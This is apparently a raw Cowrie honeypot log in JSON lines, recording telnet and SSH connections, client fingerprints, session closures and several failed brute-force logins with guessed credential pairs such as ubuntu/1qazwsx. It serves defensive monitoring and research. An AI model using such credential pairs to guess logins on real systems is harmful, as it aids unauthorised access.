{"eventid":"cowrie.session.closed","duration":30.367517709732056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:16.368204Z","src_ip":"69.6.196.124","session":"8888a3ee9d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379472494125366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:17.298893Z","src_ip":"69.6.196.124","session":"8ccd99c0bd13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23575758934021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:18.630013Z","src_ip":"69.6.196.124","session":"394060da1195","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.147050380706787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:19.296139Z","src_ip":"69.6.196.124","session":"b6f80b6e5592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":46340,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e2117696db3","protocol":"ssh","message":"New connection: 103.13.206.100:46340 (10.17.0.5:22) [session: 9e2117696db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:20.319040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:20.324642Z","src_ip":"103.13.206.100","session":"9e2117696db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51128315925598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:20.431436Z","src_ip":"69.6.196.124","session":"29adf492d544","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:20.564373Z","src_ip":"103.13.206.100","session":"9e2117696db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"test321","message":"login attempt [git/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:21.549339Z","src_ip":"103.13.206.100","session":"9e2117696db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50074,"dst_ip":"159.203.135.109","dst_port":23,"session":"05e759b21631","protocol":"telnet","message":"New connection: 69.6.196.124:50074 (159.203.135.109:23) [session: 05e759b21631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:21.631798Z"}
{"eventid":"cowrie.session.closed","duration":34.09944248199463,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:21.917494Z","src_ip":"69.6.196.124","session":"e0e4a5263925","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22198224067688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:22.296573Z","src_ip":"69.6.196.124","session":"89b3bca67c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.368861436843872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:22.704746Z","src_ip":"69.6.196.124","session":"6e1dce8de60d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:22.792047Z","src_ip":"103.13.206.100","session":"9e2117696db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50098,"dst_ip":"159.203.135.109","dst_port":23,"session":"af49418272f5","protocol":"telnet","message":"New connection: 69.6.196.124:50098 (159.203.135.109:23) [session: af49418272f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:23.502154Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50108,"dst_ip":"159.203.135.109","dst_port":23,"session":"302bdf2a06e2","protocol":"telnet","message":"New connection: 69.6.196.124:50108 (159.203.135.109:23) [session: 302bdf2a06e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:23.551141Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50086,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9bcad83386d","protocol":"telnet","message":"New connection: 69.6.196.124:50086 (159.203.135.109:23) [session: c9bcad83386d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:25.962915Z"}
{"eventid":"cowrie.session.closed","duration":31.143909692764282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:27.227130Z","src_ip":"69.6.196.124","session":"8b17dca6d15e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":60816,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f1602b7305","protocol":"ssh","message":"New connection: 201.184.50.251:60816 (10.17.0.5:22) [session: 24f1602b7305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:27.293026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:27.297814Z","src_ip":"201.184.50.251","session":"24f1602b7305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:27.406564Z","src_ip":"201.184.50.251","session":"24f1602b7305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazwsx","message":"login attempt [ubuntu/1qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:27.761798Z","src_ip":"201.184.50.251","session":"24f1602b7305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:28.847220Z","src_ip":"201.184.50.251","session":"24f1602b7305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":53602,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de9b6db26bf","protocol":"telnet","message":"New connection: 185.53.58.141:53602 (10.17.0.5:23) [session: 5de9b6db26bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:30.034069Z"}
{"eventid":"cowrie.session.closed","duration":31.810595512390137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:32.661476Z","src_ip":"69.6.196.124","session":"e6e7beb4f431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57284,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd6b793cbf1b","protocol":"telnet","message":"New connection: 69.6.196.124:57284 (159.203.135.109:23) [session: cd6b793cbf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:33.746753Z"}
{"eventid":"cowrie.session.closed","duration":30.293112754821777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:34.304512Z","src_ip":"69.6.196.124","session":"219c958309b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57286,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ba2cad28c80","protocol":"telnet","message":"New connection: 69.6.196.124:57286 (159.203.135.109:23) [session: 2ba2cad28c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:35.022252Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57300,"dst_ip":"159.203.135.109","dst_port":23,"session":"71cbc7bf4bc5","protocol":"telnet","message":"New connection: 69.6.196.124:57300 (159.203.135.109:23) [session: 71cbc7bf4bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:36.100742Z"}
{"eventid":"cowrie.session.closed","duration":31.131203413009644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:36.152032Z","src_ip":"69.6.196.124","session":"f3990bd025ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57314,"dst_ip":"159.203.135.109","dst_port":23,"session":"9587fcf7677b","protocol":"telnet","message":"New connection: 69.6.196.124:57314 (159.203.135.109:23) [session: 9587fcf7677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:36.426955Z"}
{"eventid":"cowrie.session.closed","duration":30.485601663589478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:36.505906Z","src_ip":"69.6.196.124","session":"608d6d25d9a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42093586921692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:37.771362Z","src_ip":"69.6.196.124","session":"aea534796f2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.147138833999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:39.316903Z","src_ip":"69.6.196.124","session":"54dac9a44754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546786069869995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:40.275967Z","src_ip":"69.6.196.124","session":"efdab2f2812d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40848,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9b7f369614","protocol":"telnet","message":"New connection: 69.6.196.124:40848 (159.203.135.109:23) [session: 1b9b7f369614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:40.436063Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40858,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d06ad242499","protocol":"telnet","message":"New connection: 69.6.196.124:40858 (159.203.135.109:23) [session: 4d06ad242499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:40.854730Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":36400,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ab6285e491","protocol":"ssh","message":"New connection: 103.129.221.202:36400 (10.17.0.5:22) [session: 15ab6285e491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:41.521180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:41.526305Z","src_ip":"103.129.221.202","session":"15ab6285e491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:41.772489Z","src_ip":"103.129.221.202","session":"15ab6285e491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17686367034912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:42.466792Z","src_ip":"69.6.196.124","session":"f314c34ec56d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"master","password":"test","message":"login attempt [master/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:42.788402Z","src_ip":"103.129.221.202","session":"15ab6285e491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.598231077194214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:43.374093Z","src_ip":"69.6.196.124","session":"95b59b5c8cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:44.037039Z","src_ip":"103.129.221.202","session":"15ab6285e491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40870,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f9d45e1bec","protocol":"telnet","message":"New connection: 69.6.196.124:40870 (159.203.135.109:23) [session: e4f9d45e1bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:44.760093Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40866,"dst_ip":"159.203.135.109","dst_port":23,"session":"f81b2dce75b1","protocol":"telnet","message":"New connection: 69.6.196.124:40866 (159.203.135.109:23) [session: f81b2dce75b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:45.609764Z"}
{"eventid":"cowrie.session.closed","duration":31.11246371269226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:45.658808Z","src_ip":"69.6.196.124","session":"19129b3fff37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732841730117798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:46.280237Z","src_ip":"69.6.196.124","session":"258d2549191c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86747455596924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:46.740583Z","src_ip":"69.6.196.124","session":"1e8eb0dfdff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":54140,"dst_ip":"10.17.0.5","dst_port":23,"session":"79cc95dd8d1d","protocol":"telnet","message":"New connection: 185.53.58.141:54140 (10.17.0.5:23) [session: 79cc95dd8d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:47.601351Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40874,"dst_ip":"159.203.135.109","dst_port":23,"session":"f030ef8d46e5","protocol":"telnet","message":"New connection: 69.6.196.124:40874 (159.203.135.109:23) [session: f030ef8d46e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:50.154193Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.39.198.75","src_port":42859,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a10b26a261c","protocol":"telnet","message":"New connection: 102.39.198.75:42859 (159.203.135.109:23) [session: 2a10b26a261c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:50.299142Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53626,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dce971abec8","protocol":"telnet","message":"New connection: 69.6.196.124:53626 (159.203.135.109:23) [session: 6dce971abec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:51.466376Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":37094,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a5d705a29f9","protocol":"ssh","message":"New connection: 41.63.62.103:37094 (10.17.0.5:22) [session: 9a5d705a29f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:52.445514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:52.450251Z","src_ip":"41.63.62.103","session":"9a5d705a29f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53630,"dst_ip":"159.203.135.109","dst_port":23,"session":"517b59b9cf53","protocol":"telnet","message":"New connection: 69.6.196.124:53630 (159.203.135.109:23) [session: 517b59b9cf53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:52.478139Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:52.712950Z","src_ip":"41.63.62.103","session":"9a5d705a29f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.185665369033813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:52.817216Z","src_ip":"69.6.196.124","session":"05e759b21631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53646,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f415d4600ae","protocol":"telnet","message":"New connection: 69.6.196.124:53646 (159.203.135.109:23) [session: 9f415d4600ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:53.493355Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@654321","message":"login attempt [ubuntu/ubuntu@654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:53.798038Z","src_ip":"41.63.62.103","session":"9a5d705a29f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.407386302947998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:54.909420Z","src_ip":"69.6.196.124","session":"af49418272f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.402576684951782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:54.953574Z","src_ip":"69.6.196.124","session":"302bdf2a06e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:55.073217Z","src_ip":"41.63.62.103","session":"9a5d705a29f9","protocol":"ssh"}
